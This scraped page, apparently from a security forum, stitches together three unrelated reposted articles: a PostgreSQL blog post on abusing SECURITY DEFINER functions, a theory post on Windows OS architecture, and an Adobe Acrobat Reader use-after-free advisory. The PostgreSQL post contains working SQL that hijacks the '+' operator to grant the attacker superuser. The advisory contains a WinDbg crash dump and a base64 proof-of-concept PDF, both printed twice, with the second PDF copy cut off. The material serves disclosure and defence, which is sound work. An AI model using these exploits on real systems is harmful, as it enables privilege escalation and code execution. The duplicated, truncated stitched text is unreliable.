Abusing SECURITY DEFINER functions Blog » Abusing SECURITY DEFINER functions Posted on 17. May 2019 by Laurenz Albe © xkcd.com under the Creative Commons License 2.5 Functions defined as SECURITY DEFINER are a powerful, but dangerous tool in PostgreSQL. The documentation warns of the dangers: This article describes such an attack, in the hope to alert people that this is no idle warning. What is SECURITY DEFINER good for? By default, PostgreSQL functions are defined as SECURITY INVOKER. That means that they are executed with the User ID and security context of the user that calls them. SQL statements executed by such a function run with the same permissions as if the user had executed them directly. A SECURITY DEFINER function will run with the User ID and security context of the function owner. This can be used to allow a low privileged user to execute an operation that requires high privileges in a controlled fashion: you define a SECURITY DEFINER function owned by a privileged user that executes the operation. The function restricts the operation in the desired way. For example, you can allow a user to use COPY TO, but only to a certain directory. The function has to be owned by a superuser (or, from v11 on, by a user with the pg_write_server_files role). What is the danger? Of course such functions have to be written very carefully to avoid software errors that could be abused. But even if the code is well-written, there is a danger: unqualified access to database objects from the function (that is, accessing objects without explicitly specifying the schema) can affect other objects than the author of the function intended. This is because the configuration parameter search_path can be modified in a database session. This parameter governs which schemas are searched to locate the database object. The documentation has an example where search_path is used to have a password checking function inadvertedly check a temporary table for passwords. You may think you can avoid the danger by using the schema name in each table access, but that is not good enough. A harmless (?) SECURITY DEFINER function Consider this seemingly harmless example of a SECURITY DEFINER function, that does not control search_path properly: CREATE FUNCTION public.harmless(integer) RETURNS integer LANGUAGE sql SECURITY DEFINER AS 'SELECT $1 + 1'; Let’s assume that this function is owned by a superuser. Now this looks pretty safe at first glance: no table or view is used, so nothing can happen, right? Wrong! How the “harmless” function can be abused The attack depends on two things: There is a schema (public) where the attacker can create objects. PostgreSQL is very extensible, so you can not only create new tables and functions, but also new types and operators (among other things). The malicious database user “meany” can simply run the following code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 /* * SQL functions can run several statements, the result of the * last one is the function result. * The "OPERATOR" syntax is necessary to schema-qualify an operator * (you can't just write "$1 pg_catalog.+ $2"). */ CREATE FUNCTION public.sum(integer, integer) RETURNS integer LANGUAGE sql AS 'ALTER ROLE meany SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2'; CREATE OPERATOR public.+ ( FUNCTION = public.sum, LEFTARG = integer, RIGHTARG = integer ); /* * By default, "pg_catalog" is added to "search_path" in front of * the schemas that are specified. * We have to put it somewhere else explicitly to change that. */ SET search_path = public,pg_catalog; SELECT public.harmless(41); harmless ---------- 42 (1 row) \du meany List of roles Role name | Attributes | Member of -----------+------------+----------- meany | Superuser | {} What happened? The function executed with superuser permissions. search_path was set to find the (unqualified!) “+” operator in schema public rather than in pg_catalog. So the user-defined function public.sum was executed with superuser privileges and turned the attacker into a superuser. If the attacker had called the function public.sum himself (or issued the ALTER ROLE statement), it would have caused a “permission denied” error. But since the SELECT statement inside the function ran with superuser permissions, so did the operator function. How can you protect yourself? In theory you can schema-qualify everything, including operators, inside the function body, but the risk that you forget a harmless “+” or “=” is just too big. Besides, that would make your code hard to read, which is not good for software quality. Therefore, you should take the following measures: As recommended by the documentation, always set search_path on a SECURITY DEFINER function. Apart from the schemas that you need in the function, put pg_temp on the list as the last element. Don’t have any schemas in the database where untrusted users have the CREATE privilege. In particular, remove the default public CREATE privilege from the public schema. Revoke the public EXECUTE privilege on all SECURITY DEFINER functions and grant it only to those users that need it. In SQL: 1 2 3 4 5 6 ALTER FUNCTION harmless(integer) SET search_path = pg_catalog,pg_temp; REVOKE CREATE ON SCHEMA public FROM PUBLIC; REVOKE EXECUTE ON FUNCTION harmless(integer) FROM PUBLIC; Laurenz Albe Laurenz Albe is a senior consultant and support engineer at Cybertec. He has been working with and contributing to PostgreSQL for 13 years. Sursa: https://www.cybertec-postgresql.com/en/abusing-security-definer-functions/
-
- 1
-
-
SLAERPosted on May 13, 2019No comment on Understanding Windows OS Architecture – Theory Understanding Windows OS Architecture – Theory Hi Everyone, In this blog, we will try to understand Windows OS architecture.To perform debugging operations, you must understand the binaries/executables/processes. To understand binaries/executables/processes, you must understand OS architecture. Unlike *nix, Windows OS is very complex piece of software. This is by the fact that Microsoft developed various, different components (such as COM+, OLE, PowerShell etc.) communicating with each other via WinAPIs and similar stuff. Considering this, covering each and everything in one single blog post is not a good idea. To keep this blogpost concise, we will understand basic component (such as Process, thread etc.). Then we will see the big picture. Other Microsoft technologies (such as .NET, Azure etc.) won’t be covered in this blogpost. As name suggests, this blog will be all theory. It may become boring, but please, bear with me!!! Now to explain all these things in details, I’ll be using multiple resources. I’ll put all those in reference section in the end. As scope is clear, we are ready to dive into Windows OS architecture. Building blocks of Windows OS: Process: Process represents running instance of executable. Process manages/owns couple of things listed below. Executable binary: It contains initial code and data to execute code within process. Private virtual address space: Used as allocating memory for code within process on requirement basis. Primary token: This object stores multiple details regarding default security context of process and used as reference by threads within process. Private handle table: Table used for managing executive objects such as events, semaphores and files. Thread(s) for process execution Processes are identified by unique process id. This ID remains constant till respective kernel process object exists. Now its important to note that every running instance of same binary will get separate process and process id. All above can be summed up in next diagram. Windows Process Structure Virtual Memory: OS provides separate virtual, private, linear address space to every process. This space is used by processes to allocate memory to executables, threads, DLLs etc. Size of this address space depends upon how many bits process supports i.e. 32 or 64bit. 2(Bit) can provide supported total available VAS. For 32bit processes on 32bit Windows, it is 4GB (2GB system processes + 2 GB user processes). This distribution can vary up to 1GB System process + 3GB for user process, if process is marked with LARGEADDRESSAWARE linker flag in header while compiling program in Visual Studio. For 32bit processes on 64bit Windows, limit goes up to 4GB user process, if process is marked with LARGEADDRESSAWARE linker flag in header while compiling program in Visual Studio. For 64bit processes, on Windows 10 64bit (our target system), it is 128TB system process + 128TB user process. 32 bit process on 32 bit Windows OS 64 bit process on 64 bit Windows OS Now the reason to call memory scheme Virtual because the virtual address is not directly related physical address (i.e. actual address location in RAM and/or Storage). Virtual to physical mapping is done by memory manager. We will explore this in much detail in next blogpost. Threads: Threads execute code. As we have seen earlier, thread is an object under process, and it use resources available to process to perform tasks. Thread owns following information: Current access mode (User or Kernel) Execution context e.g. State of registers, page status etc. One or two stacks, for local variables allocation and call management Thread Local Storage array, data structure for thread data Base and current priority Processor affinity Threads has three states as below: Running: Currently executing code on processor Ready: Waiting for availability of busy or unavailable processors for execution Waiting: Waiting for some event to occur (e.g. Processor trap). After the event, thread changes state to Ready. We will explore this in next blogpost with practical example. System Calls: System call is piece of software shared between various subsystems. WinAPI and NTAPI contains such system calls. We will explore this in much detail in next blog with practical example. This will be important as we need this to look closely in programming tutorials. Generalized OS Architecture: Windows OS Architecture Even though above diagram is shown as Windows Architecture, this is just speculated and simplified architecture. This is because the fact that Microsoft never revealed actual architecture. But don’t worry, above diagram is from Windows Internals book, which official Microsoft publication. Let’s try to understand each component one by one. Environment subsystem and subsystem DLLs: Environment subsystem is the interface between applications and some Windows executive system services. Subsystem does this with help of DLLs. Example of Environment subsystem is Windows subsystem, which has kernel32.dll, advapi32.dll, user32.dll etc. implementing Windows API functions. We will explore Windows subsystem in depth in future blog posts. NTDLL.dll: ntdll.dll is special system support library primarily for use of subsystem DLLs and native applications. This provide two types of functions. System service dispatch stubs to Windows executive system services: These functions provide interface to user mode system services. Example NtCreateFile function available in Notepad. Many of these functions for accessible via WinAPI. We will explore this in next blogpost with practical example. Internal support functions used by subsystems, subsystem DLLs, and other native images Windows Executive Layer: This is the only second lowest layer, sitting on top of Kernel (NTOSKRNL.exe). It has following components. Configuration manager: Implements and manages system registry. Process manager: Creates, terminates processes and threads. It deals with Windows Kernel to perform these activities. Security Reference Manager: Enforces security policies on local computer. It guards OS resources, performing runtime object protection and auditing. I/O manager: Implements device independent I/O. Responsible for dispatching to the appropriate device drivers for further processing. Plug-n-Play manager: Determines which driver is appropriate for device and loading it. Power manager: Power manager, with help of Processor power management and power management framework, co-ordinates power events and generate power management I/O notifications to device drivers. Windows Driver Model (WDM) Windows Management Instrumentation (WMI) routines: These routines enable device drivers to publish performance and configuration information. It also receives commands from user mode WMI service. Memory manager: Implements virtual memory. It also provides support to underlying cache manager. We will explore this in detail, during future blogposts. Async LPC facility: It passes messages between client process and server process on same computer. It is also used as local transport for RPC. Run-time library functions: This include string processing, arithmetic operations, data type conversion, and security structure processing. Executive support routines: Includes system memory allocation (paged and non-paged pool), interlocked memory access, special types of synchronization mechanisms. Kernel: Kernel provides some fundamental mechanisms such as thread-scheduling and sync services, used by Windows executive layer, and low-level hardware architecture dependent support such as interrupt and exception dispatching. Kernel is coded in C + some instructions in assembly. To keep things simple at low level, Kernel implements simple “kernel objects”, which in turn supports executive objects. For example, Control objects define how OS functions must be controlled. Dispatcher objects define synchronization capabilities of thread scheduling. We will (and must) explore Kernel in depth while looking into driver dev blog. Conclusion: I have not covered each and everything in this post and cannot cover entire architecture in this humble blogpost. But I believe that I have covered enough details to get basic understanding of Windows architecture to move ahead with this journey. In next blogpost, we will use tools such as WinDBG and Sysinternal tools to dive into Windows architecture. Till then, Auf Wiedersehen!!!! References: Building blocks of OS is referred from Windows Kernel Programming by Pavel Yosifovich (@zodiacon) Generalized Windows Architecture is referred from Windows Internals Part 1 (7ed) SLAER I am guy in infosec, who knows bits and bytes of one thing and another. I like to fiddle in many things and one of them is computer. Sursa: https://scriptdotsh.com/index.php/2019/05/13/winarch-theory/
-
SSD Secure Disclosure Disclosing vulnerabilities responsibly since 2007 Dark Theme SSD Advisory – Adobe Acrobat Reader DC Use After Free May 19, 2019 Vulnerability Summary A use-after-free vulnerability exists in Adobe Acrobat Reader DC, which allows attackers execute arbitrary code with the privileges of the current user. CVE CVE-2019-7805 Credit An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program. Affected systems Product Track Affected Versions Platform Acrobat DC Continuous 2019.010.20100 and earlier versions Windows and macOS Acrobat Reader DC Continuous 2019.010.20099 and earlier versions Windows and macOS Acrobat 2017 Classic 2017 2017.011.30140 and earlier version Windows and macOS Acrobat Reader 2017 Classic 2017 2017.011.30138 and earlier version Windows and macOS Acrobat DC Classic 2015 2015.006.30495 and earlier versions Windows and macOS Acrobat Reader DC Classic 2015 2015.006.30493 and earlier versions Windows and macOS Vendor Response Adobe fixed this vulnerability and released a public security advisory in May 14, 2019. Adobe Advisory Vulnerability Details How to reproduce: 1. Set Paged Heap on for the “AcrodRD32.exe” 2. Open the attached “poc.pdf”, and you will see the crash. Using WinDbg, we will see the following crash analysis. The test was done on Windows 10. Don’t forget to set Paged Heap on for the “AcroRd32.exe”. Crash info First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll - *** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api - eax=00000000 ebx=3541efd8 ecx=15b2adc0 edx=3540cfe8 esi=00000000 edi=1e178bd8 eip=68406302 esp=00efeba0 ebp=00efeba0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x8235f: 68406302 66398100010000 cmp word ptr [ecx+100h],ax ds:002b:15b2aec0=???? 1:012> kv # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 00efeba0 66aea056 15b2adc0 c3ad4164 1e178bd8 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x8235f 01 00efec08 66aea024 00000001 3542cfb8 3542cf90 Annots!PlugInMain+0x3780e 02 00efec28 66ae9c12 297aefe8 00efec78 68380dfe Annots!PlugInMain+0x377dc 03 00efec34 68380dfe 3540aff0 1df3c3db 2803cff8 Annots!PlugInMain+0x373ca 04 00efec78 683808ed 3542cfb8 1df3c34b 0000011c AcroRd32!DllCanUnloadNow+0x1f5d4 05 00efece8 6838069f 1df3c2b3 00000113 0b518fd8 AcroRd32!DllCanUnloadNow+0x1f0c3 06 00efed10 68321267 000004d3 00000000 00000113 AcroRd32!DllCanUnloadNow+0x1ee75 07 00efed2c 7761bf1b 001205da 00000113 000004d3 AcroRd32!AcroWinMainSandbox+0x77f1 08 00efed58 776183ea 68320d1c 001205da 00000113 USER32!_InternalCallWinProc+0x2b 09 00efee40 77617c9e 68320d1c 00000000 00000113 USER32!UserCallWinProcCheckWow+0x3aa (FPO: [SEH]) 0a 00efeebc 77617a80 adba9dc5 00eff154 6837ffca USER32!DispatchMessageWorker+0x20e (FPO: [Non-Fpo]) 0b 00efeec8 6837ffca 00efeef4 1df3def7 00000001 USER32!DispatchMessageW+0x10 (FPO: [Non-Fpo]) 0c 00eff154 6837fd92 1df3de2f 00000001 0b3f6de0 AcroRd32!DllCanUnloadNow+0x1e7a0 0d 00eff18c 6831a359 1df3de5b 0b206fa0 00eff6cc AcroRd32!DllCanUnloadNow+0x1e568 0e 00eff1f8 68319c2d 682f0000 00390000 0b206fa0 AcroRd32!AcroWinMainSandbox+0x8e3 *** ERROR: Symbol file could not be found. Defaulted to export symbols for AcroRd32.exe - 0f 00eff614 00397319 682f0000 00390000 0b206fa0 AcroRd32!AcroWinMainSandbox+0x1b7 10 00eff9dc 0049889a 00390000 00000000 0486a0d4 AcroRd32_exe+0x7319 11 00effa28 76418484 00c1a000 76418460 1545a828 AcroRd32_exe!AcroRd32IsBrokerProcess+0x908ba 12 00effa3c 77ae302c 00c1a000 1ed50fae 00000000 KERNEL32!BaseThreadInitThunk+0x24 (FPO: [Non-Fpo]) 13 00effa84 77ae2ffa ffffffff 77afec59 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH]) 14 00effa94 00000000 00391367 00c1a000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo]) 1:012> !heap -p -a ecx address 15b2adc0 found in _DPH_HEAP_ROOT @ 4851000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 15ae1e38: 15b2a000 2000 6a2bae02 verifier!AVrfDebugPageHeapFree+0x000000c2 77b62fa1 ntdll!RtlDebugFreeHeap+0x0000003e 77ac2735 ntdll!RtlpFreeHeap+0x000000d5 77ac2302 ntdll!RtlFreeHeap+0x00000222 7789e13b ucrtbase!_free_base+0x0000001b 7789e108 ucrtbase!free+0x00000018 6833f927 AcroRd32!CTJPEGLibInit+0x00003a77 683de9cd AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0005aa2a 683ca751 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000467ae 683ca1f7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00046254 6845e886 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000da8e3 6845c847 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d88a4 6845c7b5 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d8812 6845c6d0 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d872d 684a4526 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00120583 6845752c AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d3589 684c1dc1 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013de1e 684abd11 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00127d6e 684a705a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001230b7 684a6a0d AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122a6a 684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511 684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4 684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334 684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24 684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511 684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4 684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334 684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24 684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511 684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4 684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334 684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll - *** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api - eax=00000000 ebx=3541efd8 ecx=15b2adc0 edx=3540cfe8 esi=00000000 edi=1e178bd8 eip=68406302 esp=00efeba0 ebp=00efeba0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x8235f: 68406302 66398100010000 cmp word ptr [ecx+100h],ax ds:002b:15b2aec0=???? 1:012> kv # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 00efeba0 66aea056 15b2adc0 c3ad4164 1e178bd8 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x8235f 01 00efec08 66aea024 00000001 3542cfb8 3542cf90 Annots!PlugInMain+0x3780e 02 00efec28 66ae9c12 297aefe8 00efec78 68380dfe Annots!PlugInMain+0x377dc 03 00efec34 68380dfe 3540aff0 1df3c3db 2803cff8 Annots!PlugInMain+0x373ca 04 00efec78 683808ed 3542cfb8 1df3c34b 0000011c AcroRd32!DllCanUnloadNow+0x1f5d4 05 00efece8 6838069f 1df3c2b3 00000113 0b518fd8 AcroRd32!DllCanUnloadNow+0x1f0c3 06 00efed10 68321267 000004d3 00000000 00000113 AcroRd32!DllCanUnloadNow+0x1ee75 07 00efed2c 7761bf1b 001205da 00000113 000004d3 AcroRd32!AcroWinMainSandbox+0x77f1 08 00efed58 776183ea 68320d1c 001205da 00000113 USER32!_InternalCallWinProc+0x2b 09 00efee40 77617c9e 68320d1c 00000000 00000113 USER32!UserCallWinProcCheckWow+0x3aa (FPO: [SEH]) 0a 00efeebc 77617a80 adba9dc5 00eff154 6837ffca USER32!DispatchMessageWorker+0x20e (FPO: [Non-Fpo]) 0b 00efeec8 6837ffca 00efeef4 1df3def7 00000001 USER32!DispatchMessageW+0x10 (FPO: [Non-Fpo]) 0c 00eff154 6837fd92 1df3de2f 00000001 0b3f6de0 AcroRd32!DllCanUnloadNow+0x1e7a0 0d 00eff18c 6831a359 1df3de5b 0b206fa0 00eff6cc AcroRd32!DllCanUnloadNow+0x1e568 0e 00eff1f8 68319c2d 682f0000 00390000 0b206fa0 AcroRd32!AcroWinMainSandbox+0x8e3 *** ERROR: Symbol file could not be found. Defaulted to export symbols for AcroRd32.exe - 0f 00eff614 00397319 682f0000 00390000 0b206fa0 AcroRd32!AcroWinMainSandbox+0x1b7 10 00eff9dc 0049889a 00390000 00000000 0486a0d4 AcroRd32_exe+0x7319 11 00effa28 76418484 00c1a000 76418460 1545a828 AcroRd32_exe!AcroRd32IsBrokerProcess+0x908ba 12 00effa3c 77ae302c 00c1a000 1ed50fae 00000000 KERNEL32!BaseThreadInitThunk+0x24 (FPO: [Non-Fpo]) 13 00effa84 77ae2ffa ffffffff 77afec59 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH]) 14 00effa94 00000000 00391367 00c1a000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo]) 1:012> !heap -p -a ecx address 15b2adc0 found in _DPH_HEAP_ROOT @ 4851000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 15ae1e38: 15b2a000 2000 6a2bae02 verifier!AVrfDebugPageHeapFree+0x000000c2 77b62fa1 ntdll!RtlDebugFreeHeap+0x0000003e 77ac2735 ntdll!RtlpFreeHeap+0x000000d5 77ac2302 ntdll!RtlFreeHeap+0x00000222 7789e13b ucrtbase!_free_base+0x0000001b 7789e108 ucrtbase!free+0x00000018 6833f927 AcroRd32!CTJPEGLibInit+0x00003a77 683de9cd AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0005aa2a 683ca751 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000467ae 683ca1f7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00046254 6845e886 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000da8e3 6845c847 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d88a4 6845c7b5 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d8812 6845c6d0 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d872d 684a4526 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00120583 6845752c AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d3589 684c1dc1 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013de1e 684abd11 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00127d6e 684a705a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001230b7 684a6a0d AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122a6a 684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511 684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4 684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334 684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24 684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511 684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4 684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334 684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24 684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511 684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4 684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334 684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24 ECX register is pointing to a freed memory. It is clear that this is a use-after-free condition. If you will analyze the “poc.pdf”, several conditions must be met in order to reproduce this crash. 1. A pdf embedding another pdf, when opening the main pdf, the embedded pdf is opened. 2. The embedded pdf should contain JavaScript part. Any JavaScript is enough to trigger the crash. It seems that as long as the above conditions meet, the poc will succeed. The attacker can run JavaScript code in the embedded pdf in order to exploit this use-after-free vulnerability. PoC The poc.pdf file contains binary data, so we will encode it in base64. JVBERi0xLjcNCjEgMCBvYmoNCjw8IC9UeXBlIC9DYXRhbG9nDQovUGFnZXMgMi AwIFINCi9OYW1lcyA8PCAvRW1iZWRkZWRGaWxlcyA8PCAvTmFtZXMgWyA8Njc2ZjJlNzA2NDY2P iA1IDAgUiBdDSA+Pg0gPj4NID4+DQplbmRvYmoNCg0KMiAwIG9iag0KPDwgL0tpZHMgWyAzIDAg UiBdDQovVHlwZSAvUGFnZXMNCi9Db3VudCAxDSA+Pg0KZW5kb2JqDQoNCjMgMCBvYmoNCjw8IC9 QYXJlbnQgMiAwIFINCi9Db250ZW50cyA2IDAgUg0KL1Jlc291cmNlcyA8PCA+Pg0KL0FBIDw8IC 9PIDcgMCBSDSA+Pg0KL01lZGlhQm94IFsgMCAwIDYwMCA4MDAgXQ0KL1R5cGUgL1BhZ2UNID4+D QplbmRvYmoNCg0KNCAwIG9iag0KPDwgL0xlbmd0aCAzNTANCi9UeXBlIC9FbWJlZGRlZEZpbGUN Ci9GaWx0ZXIgL0ZsYXRlRGVjb2RlDQovUGFyYW1zIDw8IC9TaXplIDYxOQ0KL0NoZWNrc3VtIDw 5OGE2ZWJhZjcxOTZhNTMzNzQxMmE0NzU1OTE4NjgxMz4NID4+DQovU3VidHlwZSAvYXBwbGljYX Rpb24jMkZwZGYNID4+DQpzdHJlYW0NCnicbZI7TsNAEIYRBYWlbTjBNKl4+G0SKYoECRFKQInsU KEUiz0JRsYbrRcUOAunQFRUnIMTUHEAGhjbCo5ibNnS/Dvzzfy72xj3+gfm4RHTGu8/X99vH0wz wQBxfcu0dhv0yeMCQe9yxRMxZ5o+5nPMwKIUn6LRAtPjUMUiBaeQoNNhGqZRUc80ax01jKMMrsD OE2FK1SW7IFLUFfepAnMTYa8jxlwiJa3aVwAKfMzEvQxpOsrMGfoFRjE/EUtqatDrGQY06Ztutn DqhktTxAhAH/AHHoQyXiiKBwG4/zl11xnnmM7VDZhNKujHiUIJej/hCnsYigjL2kxJ5HdMWz7vD ff9s9fLweRlZ2sXtj8L7mq5arGUOGMa+aDf3wOe69ouzCrNbEG5klZay6lppmfWNMszapptNStN SR4nKEuXQfyE+TC6LwQdXLUrmeJSldM6Vn6zGqej/i+EoJlTDQplbmRzdHJlYW0NCmVuZG9iag0 KDQo1IDAgb2JqDQo8PCAvRiAoZ28ucGRmKQ0KL1R5cGUgL0ZpbGVzcGVjDQovRUYgPDwgL0YgNC AwIFINID4+DSA+Pg0KZW5kb2JqDQoNCjYgMCBvYmoNCjw8IC9MZW5ndGggMA0gPj4NCnN0cmVhb Q0KDQplbmRzdHJlYW0NCmVuZG9iag0KDQo3IDAgb2JqDQo8PCAvTmV3V2luZG93IGZhbHNlDQov VCA8PCAvTiA8Njc2ZjJlNzA2NDY2Pg0KL1IgL0MNID4+DQovUyAvR29Ub0UNID4+DQplbmRvYmo NCg0KeHJlZg0KMCA4DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMTAgMDAwMDAgbg0KMD AwMDAwMDEzNSAwMDAwMCBuDQowMDAwMDAwMjAyIDAwMDAwIG4NCjAwMDAwMDAzMzkgMDAwMDAgb g0KMDAwMDAwMDg5MyAwMDAwMCBuDQowMDAwMDAwOTcwIDAwMDAwIG4NCjAwMDAwMDEwMjggMDAw MDAgbg0KdHJhaWxlcg0KPDwgL1NpemUgOA0KL1Jvb3QgMSAwIFINID4+DQpzdGFydHhyZWYNCjE xMTkNCiUlRU9GDQo= 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 JVBERi0xLjcNCjEgMCBvYmoNCjw8IC9UeXBlIC9DYXRhbG9nDQovUGFnZXMgMi AwIFINCi9OYW1lcyA8PCAvRW1iZWRkZWRGaWxlcyA8PCAvTmFtZXMgWyA8Njc2ZjJlNzA2NDY2P iA1IDAgUiBdDSA+Pg0gPj4NID4+DQplbmRvYmoNCg0KMiAwIG9iag0KPDwgL0tpZHMgWyAzIDAg UiBdDQovVHlwZSAvUGFnZXMNCi9Db3VudCAxDSA+Pg0KZW5kb2JqDQoNCjMgMCBvYmoNCjw8IC9 QYXJlbnQgMiAwIFINCi9Db250ZW50cyA2IDAgUg0KL1Jlc291cmNlcyA8PCA+Pg0KL0FBIDw8IC 9PIDcgMCBSDSA+Pg0KL01lZGlhQm94IFsgMCAwIDYwMCA4MDAgXQ0KL1R5cGUgL1BhZ2UNID4+D QplbmRvYmoNCg0KNCAwIG9iag0KPDwgL0xlbmd0aCAzNTANCi9UeXBlIC9FbWJlZGRlZEZpbGUN Ci9GaWx0ZXIgL0ZsYXRlRGVjb2RlDQovUGFyYW1zIDw8IC9TaXplIDYxOQ0KL0NoZWNrc3VtIDw 5OGE2ZWJhZjcxOTZhNTMzNzQxMmE0NzU1OTE4NjgxMz4NID4+DQovU3VidHlwZSAvYXBwbGljYX Rpb24jMkZwZGYNID4+DQpzdHJlYW0NCnicbZI7TsNAEIYRBYWlbTjBNKl4+G0SKYoECRFKQInsU KEUiz0JRsYbrRcUOAunQFRUnIMTUHEAGhjbCo5ibNnS/Dvzzfy72xj3+gfm4RHTGu8/X99vH0wz wQBxfcu0dhv0yeMCQe9yxRMxZ5o+5nPMwKIUn6LRAtPjUMUiBaeQoNNhGqZRUc80ax01jKMMrsD OE2FK1SW7IFLUFfepAnMTYa8jxlwiJa3aVwAKfMzEvQxpOsrMGfoFRjE/EUtqatDrGQY06Ztutn DqhktTxAhAH/AHHoQyXiiKBwG4/zl11xnnmM7VDZhNKujHiUIJej/hCnsYigjL2kxJ5HdMWz7vD ff9s9fLweRlZ2sXtj8L7mq5arGUOGMa+aDf3wOe69ouzCrNbEG5klZay6lppmfWNMszapptNStN SR4nKEuXQfyE+TC6LwQdXLUrmeJSldM6Vn6zGqej/i+EoJlTDQplbmRzdHJlYW0NCmVuZG9iag0 KDQo1IDAgb2JqDQo8PCAvRiAoZ28ucGRmKQ0KL1R5cGUgL0ZpbGVzcGVjDQovRUYgPDwgL0YgNC AwIFINID4+DSA+Pg0KZW5kb2JqDQoNCjYgMCBvYmoNCjw8IC9MZW5ndGggMA0gPj4NCnN0cmVhb Q0KDQplbmRzdHJlYW0NCmVuZG9iag0KDQo3IDAgb2JqDQo8PCAvTmV3V2luZG93IGZhbHNlDQov VCA8PCAvTiA8Njc2ZjJlNzA2NDY2Pg0KL1IgL0MNID4+DQovUyAvR29Ub0UNID4+DQplbmRvYmo 